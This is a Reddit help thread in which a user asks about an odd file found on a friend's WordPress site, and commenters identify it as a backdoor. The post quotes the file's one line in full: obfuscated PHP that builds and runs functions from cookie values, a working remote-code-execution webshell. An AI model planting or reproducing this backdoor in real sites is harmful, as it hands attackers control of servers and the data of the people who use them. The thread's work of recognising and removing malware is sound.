r/PHPhelp • • Jan 03 '23

Mysterious PHP code

Relaying this question from a friend who does not use Reddit -- He found a funny-looking PHP file on his WordPress installation named "LgvhK.php", and it looks like this:

$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[22]=$p[22].$p[26])&&($p[16]=$p[22]($p[16]))&&($p=$p[16]($p[24],$p[22]($p[21])))&&$p()):$p;

At a glance, it seems to be trying to read cookies that have been previously set, which sounds fishy to me. Does anyone know what this is trying to do exactly, and whether this is a warning sign of the web application having been compromised?

Thanks in advance.

17 Upvotes

20 comments sorted by

View all comments

15

u/[deleted] Jan 03 '23

I would guess that is some very obfuscated way for remote code execution. An attacker sends some special prepared cookie, which contains encoded instructions what the infected server should do.

While the script itself don't seem to do anything malicious, it allows attackers to upload and execute other malicious code and you have to assume that it already was.

The script is pretty clever, as it don't seem to use eval, but calls functions directly which allows dynamic code execution even if eval is disabled.

4

u/temujin77 Jan 03 '23

Thank you for your input! This definitely looks very fishy. I already have him remove this file and check for others.

Thanks again!

6

u/ZippyTheWonderSnail Jan 04 '23

If the $_COOKIE is set, and the cookie array is 23 items long, then look for a cookie named array23.

If this exists, then rearrange some of the items in the array into executable code and run it.